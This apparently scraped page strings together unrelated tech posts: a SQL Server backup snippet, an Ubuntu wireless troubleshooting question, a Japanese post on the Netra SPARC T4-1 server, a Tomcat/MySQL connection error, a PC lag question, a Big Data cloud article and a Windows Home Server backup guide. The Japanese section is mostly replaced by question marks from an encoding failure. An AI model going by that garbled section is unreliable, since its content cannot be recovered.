SQL agent leaves a lot to be desired. I do not know the simple way to schedule your SQL server backups than in SQLBackupAndFTP – see the image below. The whole backup scheduling with compression, encryption and upload to a Network Folder / HDD / NAS Drive / FTP / Dropbox / Google Drive / Amazon S3 takes just a few minutes – see my previous post for the review. Final Words This post offered an explanation for major backup types only. For more complicated scenarios or to research other options as usually go to MSDN. Reference: Pinal Dave (http://blog.sqlauthority.com) Filed under: PostADay, SQL, SQL Authority, SQL Backup and Restore, SQL Query, SQL Server, SQL Tips and Tricks, T SQL, Technology

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  • Randomely loosing wireless connexion with Cubuntu 12.04

    - by statquant
    I am presently experiencing random disconnections from my wireless network. It looks like it is more and more frequent (however I have not seen any clear pattern). This is killing me... Here is some information that should help (from ubuntu forums). Thanks for reading Machine : Acer Aspire S3 statquant@euclide:~$ lsb_release -d Description: Ubuntu 12.04.1 LTS statquant@euclide:~$ uname -mr 3.2.0-33-generic x86_64 statquant@euclide:~$ sudo /etc/init.d/networking restart * Running /etc/init.d/networking restart is deprecated because it may not enable again some interfaces * Reconfiguring network interfaces... statquant@euclide:~$ lspci 02:00.0 Network controller: Atheros Communications Inc. AR9485 Wireless Network Adapter (rev 01) statquant@euclide:~$ lsusb Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Bus 001 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub Bus 002 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub Bus 001 Device 004: ID 064e:c321 Suyin Corp. Bus 002 Device 003: ID 0bda:0129 Realtek Semiconductor Corp. statquant@euclide:~$ ifconfig wlan0 Link encap:Ethernet HWaddr 74:de:2b:dd:c4:78 inet addr:192.168.1.3 Bcast:192.168.1.255 Mask:255.255.255.0 inet6 addr: fe80::76de:2bff:fedd:c478/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:913 errors:0 dropped:0 overruns:0 frame:0 TX packets:802 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:873218 (873.2 KB) TX bytes:125826 (125.8 KB) statquant@euclide:~$ iwconfig wlan0 IEEE 802.11bgn ESSID:"Bbox-D646D1" Mode:Managed Frequency:2.437 GHz Access Point: 00:19:70:80:01:6C Bit Rate=65 Mb/s Tx-Power=16 dBm Retry long limit:7 RTS thr:off Fragment thr:off Power Management:on Link Quality=56/70 Signal level=-54 dBm Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0 Tx excessive retries:0 Invalid misc:71 Missed beacon:0 statquant@euclide:~$ dmesg | grep "wlan" [ 17.495866] ADDRCONF(NETDEV_UP): wlan0: link is not ready [ 17.498950] ADDRCONF(NETDEV_UP): wlan0: link is not ready [ 20.072015] wlan0: authenticate with 00:19:70:80:01:6c (try 1) [ 20.269853] wlan0: authenticate with 00:19:70:80:01:6c (try 2) [ 20.272386] wlan0: authenticated [ 20.298682] wlan0: associate with 00:19:70:80:01:6c (try 1) [ 20.302321] wlan0: RX AssocResp from 00:19:70:80:01:6c (capab=0x431 status=0 aid=1) [ 20.302325] wlan0: associated [ 20.307307] ADDRCONF(NETDEV_CHANGE): wlan0: link becomes ready [ 30.402292] wlan0: no IPv6 routers present statquant@euclide:~$ sudo lshw -C network [sudo] password for statquant: *-network description: Wireless interface product: AR9485 Wireless Network Adapter vendor: Atheros Communications Inc. physical id: 0 bus info: pci@0000:02:00.0 logical name: wlan0 version: 01 serial: 74:de:2b:dd:c4:78 width: 64 bits clock: 33MHz capabilities: pm msi pciexpress bus_master cap_list rom ethernet physical wireless configuration: broadcast=yes driver=ath9k driverversion=3.2.0-33-generic firmware=N/A ip=192.168.1.3 latency=0 link=yes multicast=yes wireless=IEEE 802.11bgn resources: irq:17 memory:c0400000-c047ffff memory:afb00000-afb0ffff statquant@euclide:~$ iwlist scan wlan0 Scan completed : Cell 01 - Address: 00:19:70:80:01:6C Channel:6 Frequency:2.437 GHz (Channel 6) Quality=56/70 Signal level=-54 dBm Encryption key:on ESSID:"Bbox-D646D1" Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s 9 Mb/s; 12 Mb/s; 18 Mb/s Bit Rates:24 Mb/s; 36 Mb/s; 48 Mb/s; 54 Mb/s Mode:Master Extra:tsf=000000125fb152bb Extra: Last beacon: 40020ms ago IE: Unknown: 000B42626F782D443634364431 IE: Unknown: 010882848B960C121824 IE: Unknown: 030106 IE: IEEE 802.11i/WPA2 Version 1 Group Cipher : TKIP Pairwise Ciphers (2) : CCMP TKIP Authentication Suites (1) : PSK IE: WPA Version 1 Group Cipher : TKIP Pairwise Ciphers (2) : CCMP TKIP Authentication Suites (1) : PSK IE: Unknown: 2A0100 IE: Unknown: 32043048606C IE: Unknown: DD180050F2020101820003A4000027A4000042435E0062322F00 IE: Unknown: 2D1A4C101BFF00000000000000000000000000000000000000000000 IE: Unknown: 3D1606080800000000000000000000000000000000000000 IE: Unknown: DD0900037F01010000FF7F IE: Unknown: DD0A00037F04010000000000 And... finally, please note that I did the following (after looking for fixes of similar problems), but unfortunately it did not work sudo modprobe -r iwlwifi sudo modprobe iwlwifi 11n_disable=1

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  • ?SPARC T4?????????????·???? : Netra SPARC T4-1

    - by user13138700
    ?SPARC T4???????????????·??????? Netra SPARC T4-1 ???? Netra SPARC T4-2 ?2012?1?10??????????3?15??????????????(????) ?????????? Netra SPARC T4-1 ? 4core ???( T4 ???????? 4core ???)(*)???????????????????????????(*)( Netra SPARC T4-1 ?????? 4core ???? 8core ????????) ??? prtdiag ????? pginfo ??????????????? 8????/1core ???? prtdiag ????????4core=32???????????????pginfo ?????????????????core ???????????????????? # ./prtdiag -v System Configuration: Oracle Corporation sun4v Netra SPARC T4-1 ???????: 130560 M ??? ================================ ?? CPU ================================ CPU ID Frequency Implementation Status ------ --------- ---------------------- ------- 0 2848 MHz SPARC-T4 on-line 1 2848 MHz SPARC-T4 on-line 2 2848 MHz SPARC-T4 on-line 3 2848 MHz SPARC-T4 on-line 4 2848 MHz SPARC-T4 on-line 5 2848 MHz SPARC-T4 on-line 6 2848 MHz SPARC-T4 on-line 7 2848 MHz SPARC-T4 on-line 8 2848 MHz SPARC-T4 on-line 9 2848 MHz SPARC-T4 on-line 10 2848 MHz SPARC-T4 on-line 11 2848 MHz SPARC-T4 on-line 12 2848 MHz SPARC-T4 on-line 13 2848 MHz SPARC-T4 on-line 14 2848 MHz SPARC-T4 on-line 15 2848 MHz SPARC-T4 on-line 16 2848 MHz SPARC-T4 on-line 17 2848 MHz SPARC-T4 on-line 18 2848 MHz SPARC-T4 on-line 19 2848 MHz SPARC-T4 on-line 20 2848 MHz SPARC-T4 on-line 21 2848 MHz SPARC-T4 on-line 22 2848 MHz SPARC-T4 on-line 23 2848 MHz SPARC-T4 on-line 24 2848 MHz SPARC-T4 on-line 25 2848 MHz SPARC-T4 on-line 26 2848 MHz SPARC-T4 on-line 27 2848 MHz SPARC-T4 on-line 28 2848 MHz SPARC-T4 on-line 29 2848 MHz SPARC-T4 on-line 30 2848 MHz SPARC-T4 on-line 31 2848 MHz SPARC-T4 on-line ======================= Physical Memory Configuration ======================== ???? # pginfo -p -T 0 (System [system,chip]) CPUs: 0-31 `-- 3 (Data_Pipe_to_memory [system,chip]) CPUs: 0-31 |-- 2 (Floating_Point_Unit [core]) CPUs: 0-7 | `-- 1 (Integer_Pipeline [core]) CPUs: 0-7 |-- 5 (Floating_Point_Unit [core]) CPUs: 8-15 | `-- 4 (Integer_Pipeline [core]) CPUs: 8-15 |-- 7 (Floating_Point_Unit [core]) CPUs: 16-23 | `-- 6 (Integer_Pipeline [core]) CPUs: 16-23 `-- 9 (Floating_Point_Unit [core]) CPUs: 24-31 `-- 8 (Integer_Pipeline [core]) CPUs: 24-31 T4 ????????????????????????????????????????????????? T3 ?????(S2 core)?????T4 ?????(S3 core)?????????????5???????????? T3 ?????(S2 core)?????????????????????????(????????)?????????????????????????????????????????????·???????????????????????????????????????? ????T4 ????????????????????????????T4 ??????????·??????? Netra SPARC T4-1 4core ????????????????????????????????????T3 ???????????????????????????? ?????????Netra SPARC T4-1 ??????????????? Netra SPARC T4-1 ?? Computing 1 x SPARC T4 4?? 32???? or 8 ?? 64 ???? 2.85GHz CPU (1?????8????) 16 x DDR3 DIMM (?? 256GB ?????16GB DIMM ???) I/O and Storage 3 x Low Profile PCI-Express Gen2 ???? (2 x 10Gb Ethernet XAUI ???????) 2 x Full-height Half-length PCI-Express Gen2 ???? 4 x 10/100/1000 Ethernet ???????? 4 x 2.5” SAS2 HDD 4 x USB ??? (?? 2, ?? 2) RAS and Management and Power Supply ???? (RAID????), ????PSU ?????????? ILOM?????????????? 2N (1+1) , AC ???? DC ?? Support OS Oracle Solaris 10 10/9, 9/10, 8/11, Oracle Solaris 11 11/11 Oracle VM Server for SPARC 2.1 (LDoms) ???? ??? NEBS Level3?? ??????21” 19”(EIA-310D),23”,24”,600mm????? ?????(?????)????????? ????SPARC T4 ????????SPARC T4 ?????????????????????????(4???)???????????? Oracle OpenWorld Tokyo 2012 ?3??(4/4(?)?4/5(?)?4/6(?))?????????????????????&?????????????????SPARC T4 ?????????????????????????????????·?????????????????SPARC T4 ???????????????????!? Oracle OpenWorld Tokyo 2012 http://www.oracle.com/openworld/jp-ja/index.html ????·???????????? 4/6(?) Develop D3-13 (14:00 - 14:45) ???????????49 ??? ?????? 7264 ???????????????

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  • Tomcat can't talk to MySql after outage

    - by gav
    I missed a payment for my server and hey suspended my account for a day or so. When they brought the server back up all my data was in tact but for some reason Tomcat can't make a JDBC connection to my MySql server. They both run on the same machine and hence I have a bind address of 127.0.0.1. It's strange because I have reset the machine of my own accord before without issue but clearly something has been reset in the downtime. I followed this guide (Just the bits which don't concern S3, I am not on Amazon infrastructure) originally and everything worked as expected. I'm very new to being a SysAdmin and I'm not sure what to try, how would you go about diagnosing this issue? The stack trace I get is as follows; INFO: Deploying web application archive myapp-1.1.war 2010-05-26 22:07:22,221 [main] ERROR context.ContextLoader - Context initialization failed org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'messageSource': Initialization of bean failed; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'transactionManager': Cannot resolve reference to bean 'sessionFactory' while setting bean property 'sessionFactory'; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'sessionFactory': Cannot resolve reference to bean 'hibernateProperties' while setting bean property 'hibernateProperties'; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'hibernateProperties': Cannot resolve reference to bean 'dialectDetector' while setting bean property 'properties' with key [hibernate.dialect]; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'dialectDetector': Invocation of init method failed; nested exception is org.springframework.jdbc.support.MetaDataAccessException: Could not get Connection for extracting meta data; nested exception is org.springframework.jdbc.CannotGetJdbcConnectionException: Could not get JDBC Connection; nested exception is org.apache.commons.dbcp.SQLNestedException: Cannot create PoolableConnectionFactory (Communications link failure The last packet sent successfully to the server was 0 milliseconds ago. The driver has not received any packets from the server.) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCreateBean(AbstractAutowireCapableBeanFactory.java:519) at org.codehaus.groovy.grails.commons.spring.ReloadAwareAutowireCapableBeanFactory.doCreateBean(ReloadAwareAutowireCapableBeanFactory.java:129) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBean(AbstractAutowireCapableBeanFactory.java:450) at org.springframework.beans.factory.support.AbstractBeanFactory$1.getObject(AbstractBeanFactory.java:290) at org.springframework.beans.factory.support.DefaultSingletonBeanRegistry.getSingleton(DefaultSingletonBeanRegistry.java:222) at org.springframework.beans.factory.support.AbstractBeanFactory.doGetBean(AbstractBeanFactory.java:287) at org.springframework.beans.factory.support.AbstractBeanFactory.getBean(AbstractBeanFactory.java:193) at org.springframework.context.support.AbstractApplicationContext.initMessageSource(AbstractApplicationContext.java:714) at org.springframework.context.support.AbstractApplicationContext.refresh(AbstractApplicationContext.java:404) at org.codehaus.groovy.grails.commons.spring.GrailsWebApplicationContext.refresh(GrailsWebApplicationContext.java:153) ... I get this error for a number of 'beans'. If I type mysql at my command prompt then I can easily login with the same credentials as my grails app which uses GORM and Hibernate to persist objects to the DB. I might not have given enough info to start with but I'm really interested to learn and will certainly provide it if asked, I just really don't know where to start on this one. Thanks, Gav

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  • Lag spikes at full CPU usage, maybe video card

    - by Roberts
    I am posting this thread in hurry so few things may be missed (I will update tomorrow). My PC specs: Motherboard Name - Gigabyte GA-945PL-S3 CPU Type - DualCore Intel Core 2 Duo E4300, 1800 MHz (9 x 200) OS - Microsoft Windows 7 Ultimate OS Kernel Type - 32-bit OS Version - 6.1.7601 I bougth a new video card one month ago. GeForce 210. I didn't have any problems. I wanted to overclock it, in other words: "Play with it". So I installed Gigabyte EasyBoost from CD and overclocked the GPU 590 + 110 mhz, memory to max to 960mhz from 800mhz. Benchmarks showed a little bit bigger score. Then I overclocked shader clock from 1405 to [..] (don't remeber really). So I was playing Modern Warfare 2 when off sudden computer froze when I wanted to select team, I was afk before that. I had to reset CMOS. After that I had problems with Skype: unread messages and no sound. Then I figured it out that when ever I open EasyBoost - Skype starts to glitch again. Now I use EVGA Precission X. Now after a month, I cleaned computer and closed the case, it was open all the time. I started to overclock GPU clock only (just a bit) because there was no problems that would stop me. So sometimes on heavy CPU load graphics starts to lag. Dragging a window is painful to watch too. Sometimes the screen freezes for 5 to 10 seconds (I can see that hard disk activity is maximal). You may say that CPU fault it is, isn't it? But sometimes lag spikes starts randomly when CPU load is at maximum. All 3 benchmark softwares (PerformanceTest, NovaBench and MSI Kombustor) shows that performance of my video card has dropped about 25%. BUT! CPU score is lower too. I ignored these problems but when I refreshed Windows Experience Index I was shocked. Month before (in latvian language but not so hard to understand): Now (upgraded RAM): This happened when I tried to capture Minecraft with Fraps on underclocked GPU to 580mhz (def: 590mhz): All drivers are up to date. Average CPU temperature from 55°C to 75°C (at 70°C sometimes starts these lag spikes). Video card's tempratures are from 45°C to 60°C (very hard to reach 60°C). So my hope is that the video card is fine, cause this card is very new and I want to upgrade CPU anyways. Aplogies for my mistakes in vocabulary (I am trying to type this as fast I can).

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  • Big Data – Role of Cloud Computing in Big Data – Day 11 of 21

    - by Pinal Dave
    In yesterday’s blog post we learned the importance of the NewSQL. In this article we will understand the role of Cloud in Big Data Story What is Cloud? Cloud is the biggest buzzword around from last few years. Everyone knows about the Cloud and it is extremely well defined online. In this article we will discuss cloud in the context of the Big Data. Cloud computing is a method of providing a shared computing resources to the application which requires dynamic resources. These resources include applications, computing, storage, networking, development and various deployment platforms. The fundamentals of the cloud computing are that it shares pretty much share all the resources and deliver to end users as a service.  Examples of the Cloud Computing and Big Data are Google and Amazon.com. Both have fantastic Big Data offering with the help of the cloud. We will discuss this later in this blog post. There are two different Cloud Deployment Models: 1) The Public Cloud and 2) The Private Cloud Public Cloud Public Cloud is the cloud infrastructure build by commercial providers (Amazon, Rackspace etc.) creates a highly scalable data center that hides the complex infrastructure from the consumer and provides various services. Private Cloud Private Cloud is the cloud infrastructure build by a single organization where they are managing highly scalable data center internally. Here is the quick comparison between Public Cloud and Private Cloud from Wikipedia:   Public Cloud Private Cloud Initial cost Typically zero Typically high Running cost Unpredictable Unpredictable Customization Impossible Possible Privacy No (Host has access to the data Yes Single sign-on Impossible Possible Scaling up Easy while within defined limits Laborious but no limits Hybrid Cloud Hybrid Cloud is the cloud infrastructure build with the composition of two or more clouds like public and private cloud. Hybrid cloud gives best of the both the world as it combines multiple cloud deployment models together. Cloud and Big Data – Common Characteristics There are many characteristics of the Cloud Architecture and Cloud Computing which are also essentially important for Big Data as well. They highly overlap and at many places it just makes sense to use the power of both the architecture and build a highly scalable framework. Here is the list of all the characteristics of cloud computing important in Big Data Scalability Elasticity Ad-hoc Resource Pooling Low Cost to Setup Infastructure Pay on Use or Pay as you Go Highly Available Leading Big Data Cloud Providers There are many players in Big Data Cloud but we will list a few of the known players in this list. Amazon Amazon is arguably the most popular Infrastructure as a Service (IaaS) provider. The history of how Amazon started in this business is very interesting. They started out with a massive infrastructure to support their own business. Gradually they figured out that their own resources are underutilized most of the time. They decided to get the maximum out of the resources they have and hence  they launched their Amazon Elastic Compute Cloud (Amazon EC2) service in 2006. Their products have evolved a lot recently and now it is one of their primary business besides their retail selling. Amazon also offers Big Data services understand Amazon Web Services. Here is the list of the included services: Amazon Elastic MapReduce – It processes very high volumes of data Amazon DynammoDB – It is fully managed NoSQL (Not Only SQL) database service Amazon Simple Storage Services (S3) – A web-scale service designed to store and accommodate any amount of data Amazon High Performance Computing – It provides low-tenancy tuned high performance computing cluster Amazon RedShift – It is petabyte scale data warehousing service Google Though Google is known for Search Engine, we all know that it is much more than that. Google Compute Engine – It offers secure, flexible computing from energy efficient data centers Google Big Query – It allows SQL-like queries to run against large datasets Google Prediction API – It is a cloud based machine learning tool Other Players Besides Amazon and Google we also have other players in the Big Data market as well. Microsoft is also attempting Big Data with the Cloud with Microsoft Azure. Additionally Rackspace and NASA together have initiated OpenStack. The goal of Openstack is to provide a massively scaled, multitenant cloud that can run on any hardware. Thing to Watch The cloud based solutions provides a great integration with the Big Data’s story as well it is very economical to implement as well. However, there are few things one should be very careful when deploying Big Data on cloud solutions. Here is a list of a few things to watch: Data Integrity Initial Cost Recurring Cost Performance Data Access Security Location Compliance Every company have different approaches to Big Data and have different rules and regulations. Based on various factors, one can implement their own custom Big Data solution on a cloud. Tomorrow In tomorrow’s blog post we will discuss about various Operational Databases supporting Big Data. Reference: Pinal Dave (http://blog.sqlauthority.com) Filed under: Big Data, PostADay, SQL, SQL Authority, SQL Query, SQL Server, SQL Tips and Tricks, T SQL

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  • Backup Your Windows Home Server Off-Site with Asus Webstorage

    - by Mysticgeek
    Windows Home Server lets you backup machines on your network easily. But what about backing up the server data? Today we take a look at ASUS WebStorage for Windows Home Server, which provides you with secure off-site backup for WHS. To use the ASUS WebStorage service you’ll need to sign up for a free account. It offers 1GB of free storage, then you can purchase an unlimited backup package for $39.99 for a year subscription. Note: They also offer online storage for individual PCs as well. Install ASUS WebStorage for WHS Browse to your shared folders on the server and open the Add-Ins folder and copy over the WHSConnectorSetup2.2.4.088.msi file (link below) then close out of the folder. Now launch Windows Home Server Console from one of the computers on your network, click Settings, then Add-ins. Under Available Add-ins click the Available tab and you’ll see the Asus WebStorage installer file we just copied over. Click the Install button. Installation kicks off and when it’s complete, you’ll need to close out of the console and reconnect. Using ASUS WebStorage WHS Connector  When you reconnect to WHS Console, scroll over to the ASUS WebStorage icon and click on Settings. Now log into your ASUS account… Now select the folders you want to backup to the WebStorage service. Select the radio button next to Enable to initialize the backup process… The backup process begins. You can change which folders are backed up simply by disabling the backup process, uncheck the folder(s), then enable the backup again. ASUS WebStorage Site After you have files backed up to the ASUS site, log into your account, and your presented with an overview of the amount of storage you’re using. It also shows what type of files are taking certain amounts of space.   You can browse through your backed up files and folders. It allows you to share and sync backed up data as well. Navigate to the file you want and you can easily download it by clicking on it, or share it out by clicking the share link below it. If you choose to share it, you’re provided with a link to the file to send out to other users.   Conclusion Users of Windows Home Server have been looking for an inexpensive cloud backup solution for quite some time. There are services such as JungleDisk, KeepVault, Wuala…etc. These services probably do a better job, but can start getting expensive once you start uploading a GBs of data. Another disappointment of ASUS WebStorage is you can only backup your WHS shares (from what we’ve been able to determine), it’s an “all or nothing” type of thing. You cannot go in and select individual files and folders. The initial upload speeds can be a bit slow as well, although that might have something to do with limited upload speeds on the DSL connection we used to test it. Retrieving your data from the ASUS site is a breeze though, and all the data files are organized quite well. The WHS Addin is very easy to install and use. If you’re looking for an off-site solution to backup your WHS data, you can test out ASUS WebStorage for free with a 1GB limit. This is good for testing the service and it might be exactly what you’re looking for. Other users may want a more advanced solution like KeepVault or CloudBerry…which is a front end for Amazon S3 storage. Download ASUS WebStorage WHS Addin Other WHS Offsite Backup Solutions CloudBerry, JungleDisk, KeepVault, Wuala Similar Articles Productive Geek Tips Restore Files from Backups on Windows Home ServerGMedia Blog: Setting Up a Windows Home ServerCreate A Windows Home Server Home Computer Restore DiscRemove a Network Computer from Windows Home ServerShare Ubuntu Home Directories using Samba TouchFreeze Alternative in AutoHotkey The Icy Undertow Desktop Windows Home Server – Backup to LAN The Clear & Clean Desktop Use This Bookmarklet to Easily Get Albums Use AutoHotkey to Assign a Hotkey to a Specific Window Latest Software Reviews Tinyhacker Random Tips DVDFab 6 Revo Uninstaller Pro Registry Mechanic 9 for Windows PC Tools Internet Security Suite 2010 Gadfly is a cool Twitter/Silverlight app Enable DreamScene in Windows 7 Microsoft’s “How Do I ?” Videos Home Networks – How do they look like & the problems they cause Check Your IMAP Mail Offline In Thunderbird Follow Finder Finds You Twitter Users To Follow

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